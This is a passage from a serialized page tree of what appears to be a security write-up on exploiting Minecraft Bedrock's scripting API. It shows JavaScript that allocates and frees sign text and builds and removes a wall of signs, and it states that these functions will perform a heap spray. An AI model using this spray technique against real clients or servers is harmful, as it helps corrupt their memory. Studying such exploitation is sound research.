alloc",{"type":22,"tag":101,"props":153710,"children":153711},{"style":120},[153712],{"type":27,"value":980},{"type":22,"tag":101,"props":153714,"children":153715},{"style":126},[153716],{"type":27,"value":127767},{"type":22,"tag":101,"props":153718,"children":153719},{"style":120},[153720],{"type":27,"value":758},{"type":22,"tag":101,"props":153722,"children":153723},{"style":126},[153724],{"type":27,"value":153725},"fill",{"type":22,"tag":101,"props":153727,"children":153728},{"style":166},[153729],{"type":27,"value":1511},{"type":22,"tag":101,"props":153731,"children":153732},{"style":6476},[153733],{"type":27,"value":153734},"\"A\"",{"type":22,"tag":101,"props":153736,"children":153737},{"style":120},[153738],{"type":27,"value":1463},{"type":22,"tag":101,"props":153740,"children":153741},{"class":103,"line":182},[153742,153746,153750,153754,153759,153763,153768],{"type":22,"tag":101,"props":153743,"children":153744},{"style":3595},[153745],{"type":27,"value":7078},{"type":22,"tag":101,"props":153747,"children":153748},{"style":120},[153749],{"type":27,"value":3603},{"type":22,"tag":101,"props":153751,"children":153752},{"style":108},[153753],{"type":27,"value":15792},{"type":22,"tag":101,"props":153755,"children":153756},{"style":126},[153757],{"type":27,"value":153758}," sign",{"type":22,"tag":101,"props":153760,"children":153761},{"style":108},[153762],{"type":27,"value":14369},{"type":22,"tag":101,"props":153764,"children":153765},{"style":126},[153766],{"type":27,"value":153767}," signs",{"type":22,"tag":101,"props":153769,"children":153770},{"style":120},[153771],{"type":27,"value":1463},{"type":22,"tag":101,"props":153773,"children":153774},{"class":103,"line":367},[153775,153779,153783,153788,153792,153797,153801,153805,153809,153813],{"type":22,"tag":101,"props":153776,"children":153777},{"style":3595},[153778],{"type":27,"value":7312},{"type":22,"tag":101,"props":153780,"children":153781},{"style":120},[153782],{"type":27,"value":3603},{"type":22,"tag":101,"props":153784,"children":153785},{"style":126},[153786],{"type":27,"value":153787},"sign",{"type":22,"tag":101,"props":153789,"children":153790},{"style":120},[153791],{"type":27,"value":231},{"type":22,"tag":101,"props":153793,"children":153794},{"style":126},[153795],{"type":27,"value":153796},"allocated",{"type":22,"tag":101,"props":153798,"children":153799},{"style":166},[153800],{"type":27,"value":27695},{"type":22,"tag":101,"props":153802,"children":153803},{"style":126},[153804],{"type":27,"value":153758},{"type":22,"tag":101,"props":153806,"children":153807},{"style":120},[153808],{"type":27,"value":231},{"type":22,"tag":101,"props":153810,"children":153811},{"style":126},[153812],{"type":27,"value":136472},{"type":22,"tag":101,"props":153814,"children":153815},{"style":120},[153816],{"type":27,"value":1463},{"type":22,"tag":101,"props":153818,"children":153819},{"class":103,"line":398},[153820,153825],{"type":22,"tag":101,"props":153821,"children":153822},{"style":3595},[153823],{"type":27,"value":153824}," continue",{"type":22,"tag":101,"props":153826,"children":153827},{"style":120},[153828],{"type":27,"value":1520},{"type":22,"tag":101,"props":153830,"children":153831},{"class":103,"line":428},[153832],{"type":22,"tag":101,"props":153833,"children":153834},{"style":120},[153835],{"type":27,"value":2398},{"type":22,"tag":101,"props":153837,"children":153838},{"class":103,"line":997},[153839],{"type":22,"tag":101,"props":153840,"children":153841},{"emptyLinePlaceholder":15},[153842],{"type":27,"value":1581},{"type":22,"tag":101,"props":153844,"children":153845},{"class":103,"line":1032},[153846,153851,153855,153859,153863,153868,153872,153876,153880,153884,153888,153892,153896,153900],{"type":22,"tag":101,"props":153847,"children":153848},{"style":126},[153849],{"type":27,"value":153850}," sign",{"type":22,"tag":101,"props":153852,"children":153853},{"style":120},[153854],{"type":27,"value":231},{"type":22,"tag":101,"props":153856,"children":153857},{"style":126},[153858],{"type":27,"value":153787},{"type":22,"tag":101,"props":153860,"children":153861},{"style":120},[153862],{"type":27,"value":231},{"type":22,"tag":101,"props":153864,"children":153865},{"style":926},[153866],{"type":27,"value":153867},"setText",{"type":22,"tag":101,"props":153869,"children":153870},{"style":120},[153871],{"type":27,"value":980},{"type":22,"tag":101,"props":153873,"children":153874},{"style":126},[153875],{"type":27,"value":153725},{"type":22,"tag":101,"props":153877,"children":153878},{"style":120},[153879],{"type":27,"value":231},{"type":22,"tag":101,"props":153881,"children":153882},{"style":926},[153883],{"type":27,"value":136722},{"type":22,"tag":101,"props":153885,"children":153886},{"style":120},[153887],{"type":27,"value":980},{"type":22,"tag":101,"props":153889,"children":153890},{"style":126},[153891],{"type":27,"value":127767},{"type":22,"tag":101,"props":153893,"children":153894},{"style":166},[153895],{"type":27,"value":55251},{"type":22,"tag":101,"props":153897,"children":153898},{"style":1544},[153899],{"type":27,"value":3648},{"type":22,"tag":101,"props":153901,"children":153902},{"style":120},[153903],{"type":27,"value":3950},{"type":22,"tag":101,"props":153905,"children":153906},{"class":103,"line":1063},[153907,153911,153915,153919,153923,153927],{"type":22,"tag":101,"props":153908,"children":153909},{"style":126},[153910],{"type":27,"value":153850},{"type":22,"tag":101,"props":153912,"children":153913},{"style":120},[153914],{"type":27,"value":231},{"type":22,"tag":101,"props":153916,"children":153917},{"style":126},[153918],{"type":27,"value":153796},{"type":22,"tag":101,"props":153920,"children":153921},{"style":166},[153922],{"type":27,"value":960},{"type":22,"tag":101,"props":153924,"children":153925},{"style":108},[153926],{"type":27,"value":16473},{"type":22,"tag":101,"props":153928,"children":153929},{"style":120},[153930],{"type":27,"value":1520},{"type":22,"tag":101,"props":153932,"children":153933},{"class":103,"line":1071},[153934,153938,153942],{"type":22,"tag":101,"props":153935,"children":153936},{"style":3595},[153937],{"type":27,"value":19742},{"type":22,"tag":101,"props":153939,"children":153940},{"style":126},[153941],{"type":27,"value":153758},{"type":22,"tag":101,"props":153943,"children":153944},{"style":120},[153945],{"type":27,"value":1520},{"type":22,"tag":101,"props":153947,"children":153948},{"class":103,"line":1110},[153949],{"type":22,"tag":101,"props":153950,"children":153951},{"style":120},[153952],{"type":27,"value":1734},{"type":22,"tag":101,"props":153954,"children":153955},{"class":103,"line":1118},[153956],{"type":22,"tag":101,"props":153957,"children":153958},{"emptyLinePlaceholder":15},[153959],{"type":27,"value":1581},{"type":22,"tag":101,"props":153961,"children":153962},{"class":103,"line":1158},[153963,153967,153971,153976,153980,153985],{"type":22,"tag":101,"props":153964,"children":153965},{"style":126},[153966],{"type":27,"value":35435},{"type":22,"tag":101,"props":153968,"children":153969},{"style":120},[153970],{"type":27,"value":231},{"type":22,"tag":101,"props":153972,"children":153973},{"style":926},[153974],{"type":27,"value":153975},"warn",{"type":22,"tag":101,"props":153977,"children":153978},{"style":120},[153979],{"type":27,"value":980},{"type":22,"tag":101,"props":153981,"children":153982},{"style":6476},[153983],{"type":27,"value":153984},"\"No more allocs\"",{"type":22,"tag":101,"props":153986,"children":153987},{"style":120},[153988],{"type":27,"value":994},{"type":22,"tag":101,"props":153990,"children":153991},{"class":103,"line":1166},[153992,153996,154000],{"type":22,"tag":101,"props":153993,"children":153994},{"style":3595},[153995],{"type":27,"value":20986},{"type":22,"tag":101,"props":153997,"children":153998},{"style":108},[153999],{"type":27,"value":43332},{"type":22,"tag":101,"props":154001,"children":154002},{"style":120},[154003],{"type":27,"value":1520},{"type":22,"tag":101,"props":154005,"children":154006},{"class":103,"line":1215},[154007],{"type":22,"tag":101,"props":154008,"children":154009},{"style":120},[154010],{"type":27,"value":188},{"type":22,"tag":101,"props":154012,"children":154013},{"class":103,"line":2425},[154014],{"type":22,"tag":101,"props":154015,"children":154016},{"emptyLinePlaceholder":15},[154017],{"type":27,"value":1581},{"type":22,"tag":101,"props":154019,"children":154020},{"class":103,"line":5417},[154021],{"type":22,"tag":101,"props":154022,"children":154023},{"style":2215},[154024],{"type":27,"value":154025},"// Free an allocated sign in the client\n",{"type":22,"tag":101,"props":154027,"children":154028},{"class":103,"line":7714},[154029,154033,154038,154042,154046],{"type":22,"tag":101,"props":154030,"children":154031},{"style":108},[154032],{"type":27,"value":35373},{"type":22,"tag":101,"props":154034,"children":154035},{"style":926},[154036],{"type":27,"value":154037}," free",{"type":22,"tag":101,"props":154039,"children":154040},{"style":120},[154041],{"type":27,"value":980},{"type":22,"tag":101,"props":154043,"children":154044},{"style":126},[154045],{"type":27,"value":153787},{"type":22,"tag":101,"props":154047,"children":154048},{"style":120},[154049],{"type":27,"value":1463},{"type":22,"tag":101,"props":154051,"children":154052},{"class":103,"line":7723},[154053,154057,154061,154065,154069,154073,154077,154081,154085,154089,154093,154097],{"type":22,"tag":101,"props":154054,"children":154055},{"style":3595},[154056],{"type":27,"value":16283},{"type":22,"tag":101,"props":154058,"children":154059},{"style":120},[154060],{"type":27,"value":3603},{"type":22,"tag":101,"props":154062,"children":154063},{"style":126},[154064],{"type":27,"value":153787},{"type":22,"tag":101,"props":154066,"children":154067},{"style":166},[154068],{"type":27,"value":1541},{"type":22,"tag":101,"props":154070,"children":154071},{"style":108},[154072],{"type":27,"value":43332},{"type":22,"tag":101,"props":154074,"children":154075},{"style":166},[154076],{"type":27,"value":27695},{"type":22,"tag":101,"props":154078,"children":154079},{"style":126},[154080],{"type":27,"value":153758},{"type":22,"tag":101,"props":154082,"children":154083},{"style":120},[154084],{"type":27,"value":231},{"type":22,"tag":101,"props":154086,"children":154087},{"style":126},[154088],{"type":27,"value":153796},{"type":22,"tag":101,"props":154090,"children":154091},{"style":166},[154092],{"type":27,"value":1541},{"type":22,"tag":101,"props":154094,"children":154095},{"style":108},[154096],{"type":27,"value":13065},{"type":22,"tag":101,"props":154098,"children":154099},{"style":120},[154100],{"type":27,"value":1463},{"type":22,"tag":101,"props":154102,"children":154103},{"class":103,"line":7791},[154104,154108],{"type":22,"tag":101,"props":154105,"children":154106},{"style":3595},[154107],{"type":27,"value":19742},{"type":22,"tag":101,"props":154109,"children":154110},{"style":120},[154111],{"type":27,"value":1520},{"type":22,"tag":101,"props":154113,"children":154114},{"class":103,"line":7799},[154115],{"type":22,"tag":101,"props":154116,"children":154117},{"style":120},[154118],{"type":27,"value":1734},{"type":22,"tag":101,"props":154120,"children":154121},{"class":103,"line":7829},[154122],{"type":22,"tag":101,"props":154123,"children":154124},{"emptyLinePlaceholder":15},[154125],{"type":27,"value":1581},{"type":22,"tag":101,"props":154127,"children":154128},{"class":103,"line":7837},[154129,154134,154138,154142,154146,154150,154154,154159],{"type":22,"tag":101,"props":154130,"children":154131},{"style":126},[154132],{"type":27,"value":154133}," sign",{"type":22,"tag":101,"props":154135,"children":154136},{"style":120},[154137],{"type":27,"value":231},{"type":22,"tag":101,"props":154139,"children":154140},{"style":126},[154141],{"type":27,"value":153787},{"type":22,"tag":101,"props":154143,"children":154144},{"style":120},[154145],{"type":27,"value":231},{"type":22,"tag":101,"props":154147,"children":154148},{"style":926},[154149],{"type":27,"value":153867},{"type":22,"tag":101,"props":154151,"children":154152},{"style":120},[154153],{"type":27,"value":980},{"type":22,"tag":101,"props":154155,"children":154156},{"style":6476},[154157],{"type":27,"value":154158},"\"\"",{"type":22,"tag":101,"props":154160,"children":154161},{"style":120},[154162],{"type":27,"value":994},{"type":22,"tag":101,"props":154164,"children":154165},{"class":103,"line":7868},[154166,154170,154174,154178,154182,154186],{"type":22,"tag":101,"props":154167,"children":154168},{"style":126},[154169],{"type":27,"value":154133},{"type":22,"tag":101,"props":154171,"children":154172},{"style":120},[154173],{"type":27,"value":231},{"type":22,"tag":101,"props":154175,"children":154176},{"style":126},[154177],{"type":27,"value":153796},{"type":22,"tag":101,"props":154179,"children":154180},{"style":166},[154181],{"type":27,"value":960},{"type":22,"tag":101,"props":154183,"children":154184},{"style":108},[154185],{"type":27,"value":13065},{"type":22,"tag":101,"props":154187,"children":154188},{"style":120},[154189],{"type":27,"value":1520},{"type":22,"tag":101,"props":154191,"children":154192},{"class":103,"line":7876},[154193],{"type":22,"tag":101,"props":154194,"children":154195},{"emptyLinePlaceholder":15},[154196],{"type":27,"value":1581},{"type":22,"tag":101,"props":154198,"children":154199},{"class":103,"line":7936},[154200,154204,154208,154213,154217,154222],{"type":22,"tag":101,"props":154201,"children":154202},{"style":126},[154203],{"type":27,"value":154133},{"type":22,"tag":101,"props":154205,"children":154206},{"style":120},[154207],{"type":27,"value":231},{"type":22,"tag":101,"props":154209,"children":154210},{"style":126},[154211],{"type":27,"value":154212},"block",{"type":22,"tag":101,"props":154214,"children":154215},{"style":120},[154216],{"type":27,"value":231},{"type":22,"tag":101,"props":154218,"children":154219},{"style":926},[154220],{"type":27,"value":154221},"setPermutation",{"type":22,"tag":101,"props":154223,"children":154224},{"style":120},[154225],{"type":27,"value":1850},{"type":22,"tag":101,"props":154227,"children":154228},{"class":103,"line":13054},[154229,154234,154238,154243,154247,154252],{"type":22,"tag":101,"props":154230,"children":154231},{"style":126},[154232],{"type":27,"value":154233}," BlockPermutation",{"type":22,"tag":101,"props":154235,"children":154236},{"style":120},[154237],{"type":27,"value":231},{"type":22,"tag":101,"props":154239,"children":154240},{"style":926},[154241],{"type":27,"value":154242},"resolve",{"type":22,"tag":101,"props":154244,"children":154245},{"style":120},[154246],{"type":27,"value":980},{"type":22,"tag":101,"props":154248,"children":154249},{"style":6476},[154250],{"type":27,"value":154251},"\"minecraft:air\"",{"type":22,"tag":101,"props":154253,"children":154254},{"style":120},[154255],{"type":27,"value":2510},{"type":22,"tag":101,"props":154257,"children":154258},{"class":103,"line":13072},[154259],{"type":22,"tag":101,"props":154260,"children":154261},{"style":120},[154262],{"type":27,"value":2406},{"type":22,"tag":101,"props":154264,"children":154265},{"class":103,"line":13117},[154266,154270,154274,154278,154282,154286],{"type":22,"tag":101,"props":154267,"children":154268},{"style":126},[154269],{"type":27,"value":154133},{"type":22,"tag":101,"props":154271,"children":154272},{"style":120},[154273],{"type":27,"value":231},{"type":22,"tag":101,"props":154275,"children":154276},{"style":126},[154277],{"type":27,"value":136472},{"type":22,"tag":101,"props":154279,"children":154280},{"style":166},[154281],{"type":27,"value":960},{"type":22,"tag":101,"props":154283,"children":154284},{"style":108},[154285],{"type":27,"value":16473},{"type":22,"tag":101,"props":154287,"children":154288},{"style":120},[154289],{"type":27,"value":1520},{"type":22,"tag":101,"props":154291,"children":154292},{"class":103,"line":13223},[154293],{"type":22,"tag":101,"props":154294,"children":154295},{"style":120},[154296],{"type":27,"value":188},{"type":22,"tag":23,"props":154298,"children":154299},{},[154300,154302,154308],{"type":27,"value":154301},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":22,"tag":30,"props":154303,"children":154305},{"className":154304},[],[154306],{"type":27,"value":154307},"signs",{"type":27,"value":154309}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":22,"tag":91,"props":154311,"children":154313},{"code":154312,"language":39612,"meta":7,"className":39610,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[154314],{"type":22,"tag":30,"props":154315,"children":154316},{"__ignoreMap":7},[154317,154332,154339,154355,154372,154379,154441,154503,154510,154526,154534,154556,154582,154607,154627,154656,154668,154675,154683,154705,154739,154746,154766,154782,154798,154814,154826,154834,154841,154848,154855,154862,154878,154893,154900,154959,155018,155025,155040,155048,155076,155104,155112,155119,155138,155165,155172,155179,155194,155201,155208,155215,155222,155278,155290,155297,155304,155365,155377],{"type":22,"tag":101,"props":154318,"children":154319},{"class":103,"line":104},[154320,154324,154328],{"type":22,"tag":101,"props":154321,"children":154322},{"style":108},[154323],{"type":27,"value":15792},{"type":22,"tag":101,"props":154325,"children":154326},{"style":126},[154327],{"type":27,"value":153767},{"type":22,"tag":101,"props":154329,"children":154330},{"style":120},[154331],{"type":27,"value":1520},{"type":22,"tag":101,"props":154333,"children":154334},{"class":103,"line":157},[154335],{"type":22,"tag":101,"props":154336,"children":154337},{"emptyLinePlaceholder":15},[154338],{"type":27,"value":1581},{"type":22,"tag":101,"props":154340,"children":154341},{"class":103,"line":182},[154342,154346,154351],{"type":22,"tag":101,"props":154343,"children":154344},{"style":108},[154345],{"type":27,"value":35373},{"type":22,"tag":101,"props":154347,"children":154348},{"style":926},[154349],{"type":27,"value":154350}," create_wall",{"type":22,"tag":101,"props":154352,"children":154353},{"style":120},[154354],{"type":27,"value":19734},{"type":22,"tag":101,"props":154356,"children":154357},{"class":103,"line":367},[154358,154363,154367],{"type":22,"tag":101,"props":154359,"children":154360},{"style":126},[154361],{"type":27,"value":154362}," signs",{"type":22,"tag":101,"props":154364,"children":154365},{"style":166},[154366],{"type":27,"value":960},{"type":22,"tag":101,"props":154368,"children":154369},{"style":120},[154370],{"type":27,"value":154371}," [];\n",{"type":22,"tag":101,"props":154373,"children":154374},{"class":103,"line":398},[154375],{"type":22,"tag":101,"props":154376,"children":154377},{"emptyLinePlaceholder":15},[154378],{"type":27,"value":1581},{"type":22,"tag":101,"props":154380,"children":154381},{"class":103,"line":428},[154382,154386,154390,154394,154399,154403,154407,154411,154416,154420,154425,154429,154433,154437],{"type":22,"tag":101,"props":154383,"children":154384},{"style":3595},[154385],{"type":27,"value":7078},{"type":22,"tag":101,"props":154387,"children":154388},{"style":120},[154389],{"type":27,"value":3603},{"type":22,"tag":101,"props":154391,"children":154392},{"style":108},[154393],{"type":27,"value":15792},{"type":22,"tag":101,"props":154395,"children":154396},{"style":126},[154397],{"type":27,"value":154398}," current_y",{"type":22,"tag":101,"props":154400,"children":154401},{"style":166},[154402],{"type":27,"value":960},{"type":22,"tag":101,"props":154404,"children":154405},{"style":1544},[154406],{"type":27,"value":1547},{"type":22,"tag":101,"props":154408,"children":154409},{"style":120},[154410],{"type":27,"value":21224},{"type":22,"tag":101,"props":154412,"children":154413},{"style":126},[154414],{"type":27,"value":154415},"current_y",{"type":22,"tag":101,"props":154417,"children":154418},{"style":166},[154419],{"type":27,"value":12726},{"type":22,"tag":101,"props":154421,"children":154422},{"style":126},[154423],{"type":27,"value":154424}," WALL_HEIGHT",{"type":22,"tag":101,"props":154426,"children":154427},{"style":120},[154428],{"type":27,"value":21224},{"type":22,"tag":101,"props":154430,"children":154431},{"style":126},[154432],{"type":27,"value":154415},{"type":22,"tag":101,"props":154434,"children":154435},{"style":166},[154436],{"type":27,"value":55265},{"type":22,"tag":101,"props":154438,"children":154439},{"style":120},[154440],{"type":27,"value":1463},{"type":22,"tag":101,"props":154442,"children":154443},{"class":103,"line":997},[154444,154448,154452,154456,154461,154465,154469,154473,154478,154482,154487,154491,154495,154499],{"type":22,"tag":101,"props":154445,"children":154446},{"style":3595},[154447],{"type":27,"value":64574},{"type":22,"tag":101,"props":154449,"children":154450},{"style":120},[154451],{"type":27,"value":3603},{"type":22,"tag":101,"props":154453,"children":154454},{"style":108},[154455],{"type":27,"value":15792},{"type":22,"tag":101,"props":154457,"children":154458},{"style":126},[154459],{"type":27,"value":154460}," current_x",{"type":22,"tag":101,"props":154462,"children":154463},{"style":166},[154464],{"type":27,"value":960},{"type":22,"tag":101,"props":154466,"children":154467},{"style":1544},[154468],{"type":27,"value":1547},{"type":22,"tag":101,"props":154470,"children":154471},{"style":120},[154472],{"type":27,"value":21224},{"type":22,"tag":101,"props":154474,"children":154475},{"style":126},[154476],{"type":27,"value":154477},"current_x",{"type":22,"tag":101,"props":154479,"children":154480},{"style":166},[154481],{"type":27,"value":12726},{"type":22,"tag":101,"props":154483,"children":154484},{"style":126},[154485],{"type":27,"value":154486}," WALL_WIDTH",{"type":22,"tag":101,"props":154488,"children":154489},{"style":120},[154490],{"type":27,"value":21224},{"type":22,"tag":101,"props":154492,"children":154493},{"style":126},[154494],{"type":27,"value":154477},{"type":22,"tag":101,"props":154496,"children":154497},{"style":166},[154498],{"type":27,"value":55265},{"type":22,"tag":101,"props":154500,"children":154501},{"style":120},[154502],{"type":27,"value":1463},{"type":22,"tag":101,"props":154504,"children":154505},{"class":103,"line":1032},[154506],{"type":22,"tag":101,"props":154507,"children":154508},{"emptyLinePlaceholder":15},[154509],{"type":27,"value":1581},{"type":22,"tag":101,"props":154511,"children":154512},{"class":103,"line":1063},[154513,154518,154522],{"type":22,"tag":101,"props":154514,"children":154515},{"style":120},[154516],{"type":27,"value":154517}," [",{"type":22,"tag":101,"props":154519,"children":154520},{"style":166},[154521],{"type":27,"value":614},{"type":22,"tag":101,"props":154523,"children":154524},{"style":120},[154525],{"type":27,"value":1884},{"type":22,"tag":101,"props":154527,"children":154528},{"class":103,"line":1071},[154529],{"type":22,"tag":101,"props":154530,"children":154531},{"style":120},[154532],{"type":27,"value":154533}," \n",{"type":22,"tag":101,"props":154535,"children":154536},{"class":103,"line":1110},[154537,154542,154547,154551],{"type":22,"tag":101,"props":154538,"children":154539},{"style":108},[154540],{"type":27,"value":154541}," const",{"type":22,"tag":101,"props":154543,"children":154544},{"style":126},[154545],{"type":27,"value":154546}," sign_block",{"type":22,"tag":101,"props":154548,"children":154549},{"style":166},[154550],{"type":27,"value":960},{"type":22,"tag":101,"props":154552,"children":154553},{"style":126},[154554],{"type":27,"value":154555}," world\n",{"type":22,"tag":101,"props":154557,"children":154558},{"class":103,"line":1118},[154559,154564,154569,154573,154578],{"type":22,"tag":101,"props":154560,"children":154561},{"style":120},[154562],{"type":27,"value":154563}," .",{"type":22,"tag":101,"props":154565,"children":154566},{"style":926},[154567],{"type":27,"value":154568},"getDimension",{"type":22,"tag":101,"props":154570,"children":154571},{"style":120},[154572],{"type":27,"value":980},{"type":22,"tag":101,"props":154574,"children":154575},{"style":6476},[154576],{"type":27,"value":154577},"\"overworld\"",{"type":22,"tag":101,"props":154579,"children":154580},{"style":120},[154581],{"type":27,"value":2510},{"type":22,"tag":101,"props":154583,"children":154584},{"class":103,"line":1158},[154585,154589,154594,154598,154603],{"type":22,"tag":101,"props":154586,"children":154587},{"style":120},[154588],{"type":27,"value":154563},{"type":22,"tag":101,"props":154590,"children":154591},{"style":926},[154592],{"type":27,"value":154593},"getBlock",{"type":22,"tag":101,"props":154595,"children":154596},{"style":120},[154597],{"type":27,"value":980},{"type":22,"tag":101,"props":154599,"children":154600},{"style":126},[154601],{"type":27,"value":154602},"sign_location",{"type":22,"tag":101,"props":154604,"children":154605},{"style":120},[154606],{"type":27,"value":994},{"type":22,"tag":101,"props":154608,"children":154609},{"class":103,"line":1166},[154610,154615,154619,154623],{"type":22,"tag":101,"props":154611,"children":154612},{"style":126},[154613],{"type":27,"value":154614}," sign_block",{"type":22,"tag":101,"props":154616,"children":154617},{"style":120},[154618],{"type":27,"value":231},{"type":22,"tag":101,"props":154620,"children":154621},{"style":926},[154622],{"type":27,"value":154221},{"type":22,"tag":101,"props":154624,"children":154625},{"style":120},[154626],{"type":27,"value":1850},{"type":22,"tag":101,"props":154628,"children":154629},{"class":103,"line":1215},[154630,154635,154639,154643,154647,154652],{"type":22,"tag":101,"props":154631,"children":154632},{"style":126},[154633],{"type":27,"value":154634}," BlockPermutation",{"type":22,"tag":101,"props":154636,"children":154637},{"style":120},[154638],{"type":27,"value":231},{"type":22,"tag":101,"props":154640,"children":154641},{"style":926},[154642],{"type":27,"value":154242},{"type":22,"tag":101,"props":154644,"children":154645},{"style":120},[154646],{"type":27,"value":980},{"type":22,"tag":101,"props":154648,"children":154649},{"style":6476},[154650],{"type":27,"value":154651},"\"minecraft:wall_sign\"",{"type":22,"tag":101,"props":154653,"children":154654},{"style":120},[154655],{"type":27,"value":52878},{"type":22,"tag":101,"props":154657,"children":154658},{"class":103,"line":2425},[154659,154664],{"type":22,"tag":101,"props":154660,"children":154661},{"style":126},[154662],{"type":27,"value":154663}," facing_direction:",{"type":22,"tag":101,"props":154665,"children":154666},{"style":1544},[154667],{"type":27,"value":23317},{"type":22,"tag":101,"props":154669,"children":154670},{"class":103,"line":5417},[154671],{"type":22,"tag":101,"props":154672,"children":154673},{"style":120},[154674],{"type":27,"value":74576},{"type":22,"tag":101,"props":154676,"children":154677},{"class":103,"line":7714},[154678],{"type":22,"tag":101,"props":154679,"children":154680},{"style":120},[154681],{"type":27,"value":154682}," ));\n",{"type":22,"tag":101,"props":154684,"children":154685},{"class":103,"line":7723},[154686,154691,154696,154700],{"type":22,"tag":101,"props":154687,"children":154688},{"style":108},[154689],{"type":27,"value":154690}," let",{"type":22,"tag":101,"props":154692,"children":154693},{"style":126},[154694],{"type":27,"value":154695}," sign_component",{"type":22,"tag":101,"props":154697,"children":154698},{"style":166},[154699],{"type":27,"value":960},{"type":22,"tag":101,"props":154701,"children":154702},{"style":126},[154703],{"type":27,"value":154704}," sign_block\n",{"type":22,"tag":101,"props":154706,"children":154707},{"class":103,"line":7791},[154708,154712,154717,154721,154726,154730,154735],{"type":22,"tag":101,"props":154709,"children":154710},{"style":120},[154711],{"type":27,"value":154563},{"type":22,"tag":101,"props":154713,"children":154714},{"style":926},[154715],{"type":27,"value":154716},"getComponent",{"type":22,"tag":101,"props":154718,"children":154719},{"style":120},[154720],{"type":27,"value":980},{"type":22,"tag":101,"props":154722,"children":154723},{"style":126},[154724],{"type":27,"value":154725},"BlockComponentTypes",{"type":22,"tag":101,"props":154727,"children":154728},{"style":120},[154729],{"type":27,"value":231},{"type":22,"tag":101,"props":154731,"children":154732},{"style":126},[154733],{"type":27,"value":154734},"Sign",{"type":22,"tag":101,"props":154736,"children":154737},{"style":120},[154738],{"type":27,"value":994},{"type":22,"tag":101,"props":154740,"children":154741},{"class":103,"line":7799},[154742],{"type":22,"tag":101,"props":154743,"children":154744},{"emptyLinePlaceholder":15},[154745],{"type":27,"value":1581},{"type":22,"tag":101,"props":154747,"children":154748},{"class":103,"line":7829},[154749,154754,154758,154762],{"type":22,"tag":101,"props":154750,"children":154751},{"style":126},[154752],{"type":27,"value":154753}," signs",{"type":22,"tag":101,"props":154755,"children":154756},{"style":120},[154757],{"type":27,"value":231},{"type":22,"tag":101,"props":154759,"children":154760},{"style":926},[154761],{"type":27,"value":7852},{"type":22,"tag":101,"props":154763,"children":154764},{"style":120},[154765],{"type":27,"value":19142},{"type":22,"tag":101,"props":154767,"children":154768},{"class":103,"line":7837},[154769,154774,154778],{"type":22,"tag":101,"props":154770,"children":154771},{"style":126},[154772],{"type":27,"value":154773}," sign:",{"type":22,"tag":101,"props":154775,"children":154776},{"style":126},[154777],{"type":27,"value":154695},{"type":22,"tag":101,"props":154779,"children":154780},{"style":120},[154781],{"type":27,"value":179},{"type":22,"tag":101,"props":154783,"children":154784},{"class":103,"line":7868},[154785,154790,154794],{"type":22,"tag":101,"props":154786,"children":154787},{"style":126},[154788],{"type":27,"value":154789}," allocated:",{"type":22,"tag":101,"props":154791,"children":154792},{"style":108},[154793],{"type":27,"value":13065},{"type":22,"tag":101,"props":154795,"children":154796},{"style":120},[154797],{"type":27,"value":179},{"type":22,"tag":101,"props":154799,"children":154800},{"class":103,"line":7876},[154801,154806,154810],{"type":22,"tag":101,"props":154802,"children":154803},{"style":126},[154804],{"type":27,"value":154805}," block:",{"type":22,"tag":101,"props":154807,"children":154808},{"style":126},[154809],{"type":27,"value":154546},{"type":22,"tag":101,"props":154811,"children":154812},{"style":120},[154813],{"type":27,"value":179},{"type":22,"tag":101,"props":154815,"children":154816},{"class":103,"line":7936},[154817,154822],{"type":22,"tag":101,"props":154818,"children":154819},{"style":126},[154820],{"type":27,"value":154821}," removed:",{"type":22,"tag":101,"props":154823,"children":154824},{"style":108},[154825],{"type":27,"value":16315},{"type":22,"tag":101,"props":154827,"children":154828},{"class":103,"line":13054},[154829],{"type":22,"tag":101,"props":154830,"children":154831},{"style":120},[154832],{"type":27,"value":154833}," });\n",{"type":22,"tag":101,"props":154835,"children":154836},{"class":103,"line":13072},[154837],{"type":22,"tag":101,"props":154838,"children":154839},{"style":120},[154840],{"type":27,"value":2398},{"type":22,"tag":101,"props":154842,"children":154843},{"class":103,"line":13117},[154844],{"type":22,"tag":101,"props":154845,"children":154846},{"style":120},[154847],{"type":27,"value":1734},{"type":22,"tag":101,"props":154849,"children":154850},{"class":103,"line":13223},[154851],{"type":22,"tag":101,"props":154852,"children":154853},{"style":120},[154854],{"type":27,"value":188},{"type":22,"tag":101,"props":154856,"children":154857},{"class":103,"line":27496},[154858],{"type":22,"tag":101,"props":154859,"children":154860},{"emptyLinePlaceholder":15},[154861],{"type":27,"value":1581},{"type":22,"tag":101,"props":154863,"children":154864},{"class":103,"line":27531},[154865,154869,154874],{"type":22,"tag":101,"props":154866,"children":154867},{"style":108},[154868],{"type":27,"value":35373},{"type":22,"tag":101,"props":154870,"children":154871},{"style":926},[154872],{"type":27,"value":154873}," 